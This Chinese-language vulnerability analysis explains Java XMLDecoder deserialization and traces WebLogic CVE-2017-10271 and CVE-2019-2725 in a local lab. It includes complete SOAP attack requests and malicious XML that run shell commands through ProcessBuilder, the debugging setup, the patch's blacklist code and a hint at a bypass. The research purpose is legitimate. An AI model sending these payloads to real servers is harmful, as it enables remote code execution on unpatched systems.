XMLDecoder/XMLEncoder
是在JDK1.4版中添加的XML
格式序列化持久性方案,可以比较使用Json格式序列化的FastJson
库。
使用XMLEncoder
来生成表示JavaBeans
组件(bean)的XML
文档,用XMLDecoder
读取使用 XMLEncoder
创建的XML文档获取JavaBeans
。
代码:
package XMLDecoder; import javax.swing.*; import java.beans.XMLEncoder; import java.io.BufferedOutputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; public class Test { public static void main(String[] args) throws FileNotFoundException { XMLEncoder e = new XMLEncoder( new BufferedOutputStream( new FileOutputStream("Test.xml"))); e.writeObject(new JButton("Hello, world")); e.close(); } }
XMLEncoder
类是ObjectOutputStream
的补充,序列化JButton
类,生成的序列化XML
文件如下:
<?xml version="1.0" encoding="UTF-8"?> <java version="1.8.0_112" class="java.beans.XMLDecoder"> <object class="javax.swing.JButton"> <string>Hello, world</string> </object> </java>
代码:
package XMLDecoder; import javax.swing.*; import java.beans.XMLDecoder; import java.beans.XMLEncoder; import java.io.*; public class Test { public static void main(String[] args) throws FileNotFoundException { XMLDecoder d = new XMLDecoder( new BufferedInputStream( new FileInputStream("Test.xml"))); Object result = d.readObject(); System.out.println(result); d.close(); } }
使用XMLDecoder
读取序列化的XML
文档,获取JButton
类并打印输出:
javax.swing.JButton [,0,0,0x0,invalid,alignmentX=0.0,alignmentY=0.5,border=com.apple.laf.AquaButtonBorder$Dynamic@179d3b25,flags=288,maximumSize=,minimumSize=,preferredSize=,defaultIcon=,disabledIcon=,disabledSelectedIcon=,margin=javax.swing.plaf.InsetsUIResource[top=0,left=2,bottom=0,right=2],paintBorder=true,paintFocus=true,pressedIcon=,rolloverEnabled=false,rolloverIcon=,rolloverSelectedIcon=,selectedIcon=,text=Hello, world,defaultCapable=true]
XMLEncoder
生成的XML
序列化文档表示对象,文档中的每个元素都用来描述如何调用对象的方法。
Hello, World
字符串表示的方式为<string>Hello, World</string>
通过<object>
标签表示对象,class
属性指定具体类(用于调用其内部方法),method
属性指定具体方法名称(比如构造函数的的方法名为new
)
new JButton("Hello, world")
对应的XML文档:
<object class="javax.swing.JButton" method="new"> <string>Hello, world</string> </object>
通过void
标签表示函数调用、赋值等操作,method
属性指定具体的方法名称。
JButton b = new JButton();b.setText("Hello, world");
对应的XML文档:
<object class="javax.swing.JButton"> <void method="setText"> <string>Hello, world</string> </void> </object>
通过array
标签表示数组,class
属性指定具体类,内部void
标签的index
属性表示根据指定数组索引赋值。
String[] s = new String[3];s[1] = "Hello, world";
对应的XML文档:
<array class="java.lang.String" length="3"> <void index="1"> <string>Hello, world</string> </void> </array>
通过XMLEncoder
反序列化XML文档时可以执行类方法,若XML文档可控且构造恶意内容,就可以完成任意代码执行。
反序列化代码:
package XMLDecoder; import java.beans.XMLDecoder; import java.io.BufferedInputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.lang.ProcessBuilder; public class xmlDecodeTest { public static void main(String[] args) throws FileNotFoundException { String path = "src/main/java/XMLDecoder/poc.xml"; File file = new File(path); FileInputStream fis = new FileInputStream(file); BufferedInputStream bis = new BufferedInputStream(fis); XMLDecoder a = new XMLDecoder(bis); a.readObject(); } }
恶意XML:
<?xml version="1.0" encoding="UTF-8"?> <java> <void class="java.lang.ProcessBuilder" method="new"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>open /System/Applications/Calculator.app/</string> </void> </array> <void method="start"/> </void> </java>
使用java.lang.ProcessBuilder
进行代码执行,整个恶意XML
反序列化后相当于执行代码:
String[] cmd = new String[3]; cmd[0] = "/bin/bash"; cmd[1] = "-c"; cmd[2] = "open /System/Applications/Calculator.app/"; new ProcessBuilder(cmd).start();
Weblogic的版本为10.3.6.0
,使用P总vulhub
中现成的CVE-2017-10271环境:
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
修改docker-compose.yml
文件,添加远程调试端口8453
映射:
version: '2' services: weblogic: image: vulhub/weblogic ports: - "7001:7001" - "8453:8453"
docker-compose up -d
启动容器环境,Weblogic运行在127.0.0.1:7001
。
CVE-2017-10271攻击数据包:
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 127.0.0.1:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 633 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>touch /tmp/rai4over</string> </void> </array> <void method="start"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
发送数据包后docker exec -it f3a bash
进入容器,查看/tmp/
目录文件创建则环境无误。
进入容器,配置Weblogic开启远程调试:
vim /root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
添加配置代码:
debugFlag="true"
export debugFlag
然后docker-compose restart
重启容器。
从docker
中拷贝Weblogic源码和JDK
docker cp 62bd5880df6d:/root ./weblogic_jars
jar
、war
包等。1.6.0_45
,调试JDK也选择该目录。在Middleware
目录下提取全部的jar
、war
包到test
目录。
cd /Users/rai4over/Desktop/weblogic/weblogic_jars/Oracle/Middleware mkdir test find ./ -name "*.jar" -exec cp {} ./test/ \; find ./ -name "*.war" -exec cp {} ./test/ \;
/Users/rai4over/Desktop/weblogic/weblogic_jars/Oracle/Middleware/wlserver_10.3
作为IDEA项目打开,设置JDK为拷贝出来的,然后添加包含test
目录到项目的Libraries
。
设置DEBUG
模式为Remote
,端口为与docker
映射出去相同的8453
运行DEBUG
,没有问题则调试端口连接成功,控制台应该输出:
Connected to the target VM, address: 'localhost:8453', transport: 'socket'
在Servlet
中设置好断点,发送Payload
,应该能成功断下。
weblogic.wsee.jaxws.WLSServletAdapter#handle
Weblogic的WLS Security组件中的servlet
存在XMLEncoder
反序列化漏洞,精心构造恶意Soap
请求,完成任意代码执行。
受影响版本:
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.1.0
WebLogic 12.2.1.2.0
CVE-2017-3506和CVE-2017-10271均是XMLDecoder
反序列化漏洞,CVE-2017-3506修补方案为禁用object
标签。
CVE-2017-10271是通过void
、new
标签对CVE-2017-3506补丁的绕过。
Oracle/Middleware/test/wls-wsat.war!/WEB-INF/web.xml
查看web.xml
,可以发现存在漏洞的wls-wsat
组件中包含不同的路由,均能触发漏洞。
weblogic.wsee.jaxws.workcontext.WorkContextServerTube#processRequest
从此出开始分析,var1为POST的恶意数据,var2为数据中的headers,从var2 获取WorkAreaConstants.WORK_AREA_HEADER
后赋值给var3且不为null,跳入if分支将var3传入readHeaderOld
函数。
weblogic.wsee.jaxws.workcontext.WorkContextTube#readHeaderOld
通过XMLStreamWriterFactory.create
函数获取恶意的Payload
到var4
中,var4
的字节数组输入流传入WorkContextXmlInputAdapter
的构造函数。
weblogic.wsee.workarea.WorkContextXmlInputAdapter#WorkContextXmlInputAdapter(java.io.InputStream)
包含恶意XML
的输入流作为参数传入XMLDecoder
的构造函数,将XMLDecoder
对象存储在WorkContextXmlInputAdapter
对象的xmlDecoder
成员中。返回一个WorkContextXmlInputAdapter
实例对象到上层的var6
,var6
作为参数传入receive
函数。
weblogic.wsee.jaxws.workcontext.WorkContextServerTube#receive
WorkContextXmlInputAdapter
对象又被传入了WorkContextMapImpl
类的receiveRequest
方法。
weblogic.workarea.WorkContextMapImpl#receiveRequest
WorkContextXmlInputAdapter
对象作为参数再次被传递到WorkContextLocalMap
类的receiveRequest
方法。
weblogic.workarea.WorkContextLocalMap#receiveRequest
WorkContextXmlInputAdapter
对象被再次传入WorkContextEntryImpl.readEntry
。
weblogic.workarea.spi.WorkContextEntryImpl#readEntry
WorkContextXmlInputAdapter
对象的readUTF
函数被调用。
weblogic.wsee.workarea.WorkContextXmlInputAdapter#readUTF
存储的this.xmlDecoder
进行反序列化,完成代码执行,此时的调用栈为:
readObject:203, XMLDecoder (java.beans) readUTF:111, WorkContextXmlInputAdapter (weblogic.wsee.workarea) readEntry:92, WorkContextEntryImpl (weblogic.workarea.spi) receiveRequest:179, WorkContextLocalMap (weblogic.workarea) receiveRequest:163, WorkContextMapImpl (weblogic.workarea) receive:71, WorkContextServerTube (weblogic.wsee.jaxws.workcontext) readHeaderOld:107, WorkContextTube (weblogic.wsee.jaxws.workcontext) processRequest:43, WorkContextServerTube (weblogic.wsee.jaxws.workcontext) __doRun:866, Fiber (com.sun.xml.ws.api.pipe) _doRun:815, Fiber (com.sun.xml.ws.api.pipe) doRun:778, Fiber (com.sun.xml.ws.api.pipe) runSync:680, Fiber (com.sun.xml.ws.api.pipe) process:403, WSEndpointImpl$2 (com.sun.xml.ws.server) handle:539, HttpAdapter$HttpToolkit (com.sun.xml.ws.transport.http) handle:253, HttpAdapter (com.sun.xml.ws.transport.http) handle:140, ServletAdapter (com.sun.xml.ws.transport.http.servlet) handle:171, WLSServletAdapter (weblogic.wsee.jaxws) run:708, HttpServletAdapter$AuthorizedInvoke (weblogic.wsee.jaxws) doAs:363, AuthenticatedSubject (weblogic.security.acl.internal) runAs:146, SecurityManager (weblogic.security.service) authenticatedInvoke:103, ServerSecurityHelper (weblogic.wsee.util) run:311, HttpServletAdapter$3 (weblogic.wsee.jaxws) post:336, HttpServletAdapter (weblogic.wsee.jaxws) doRequest:99, JAXWSServlet (weblogic.wsee.jaxws) service:99, AbstractAsyncServlet (weblogic.servlet.http) service:820, HttpServlet (javax.servlet.http) run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal) invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal) execute:301, ServletStubImpl (weblogic.servlet.internal) execute:184, ServletStubImpl (weblogic.servlet.internal) wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal) run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal) doAs:321, AuthenticatedSubject (weblogic.security.acl.internal) runAs:120, SecurityManager (weblogic.security.service) securedExecute:2273, WebAppServletContext (weblogic.servlet.internal) execute:2179, WebAppServletContext (weblogic.servlet.internal) run:1490, ServletRequestImpl (weblogic.servlet.internal) execute:256, ExecuteThread (weblogic.work) run:221, ExecuteThread (weblogic.work)
CVE-2017-10271的修复补丁为:
private void validate(InputStream is) { WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try { SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler() { private int overallarraylength = 0; public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { if(qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid element qName:object"); } else if(qName.equalsIgnoreCase("new")) { throw new IllegalStateException("Invalid element qName:new"); } else if(qName.equalsIgnoreCase("method")) { throw new IllegalStateException("Invalid element qName:method"); } else { if(qName.equalsIgnoreCase("void")) { for(int attClass = 0; attClass < attributes.getLength(); ++attClass) { if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) { throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass)); } } } if(qName.equalsIgnoreCase("array")) { String var9 = attributes.getValue("class"); if(var9 != null && !var9.equalsIgnoreCase("byte")) { throw new IllegalStateException("The value of class attribute is not valid for array element."); }
进行黑名单判断,遇到void
、object
、method
、new
等危险标签直接抛出异常。
2019年4月17日,国家信息安全漏洞共享平台(CNVD)收录了Oracle WebLogic wls9-async反序列化远程命令执行漏洞。
受影响版本:
WebLogic 10.X
WebLogic 12.1.3
CVE-2019-2725和CVE-2017-3506、CVE-2017-10271漏洞触发原因相同,均是XMLDecoder
反序列化命令执行漏洞。
对于没有打之前安全补丁的目标,公告中提到的/_async/*
路径,可以和以前/wls-wsat/*
路径使用相同标签进行攻击。
CVE-2019-2725攻击数据包:
POST /_async/AsyncResponseService HTTP/1.1 Host: 127.0.0.1:7001 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: */* Accept-Encoding: gzip, deflate Connection: keep-live Content-Type: text/xml Content-Length: 1252 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>touch /tmp/rai4over</string> </void> </array> <void method="start"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body> </soapenv:Envelope>
对于打了补丁的Weblogic,不能够调用函数,但可以利用危险构造函数。
oracle.toplink.internal.sessions.UnitOfWorkChangeSet#UnitOfWorkChangeSet(byte[])
10.3.6版本可用,进行第二次反序列化,几个较好的利用方式:
org.springframework.transaction.jta.JtaTransactionManager#readObject
跟进initUserTransactionAndTransactionManager
org.springframework.transaction.jta.JtaTransactionManager#initUserTransactionAndTransactionManager
跟进lookupUserTransaction函数
org.springframework.transaction.jta.JtaTransactionManager#lookupUserTransaction
进行JNDI注入
https://www.anquanke.com/post/id/180725
https://www.anquanke.com/post/id/102768
https://www.oracle.com/technical-resources/articles/java/persistence3.html
https://it.baiked.com/jdkapi1.8/java/beans/XMLEncoder.html
https://www.cnblogs.com/ph4nt0mer/p/11775908.html
http://xxlegend.com/2017/12/22/Weblogic%20CVE-2017-10271%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/
http://balis0ng.com/post/lou-dong-fen-xi/weblogic-wls9-asynczu-jian-rcelou-dong-fen-xi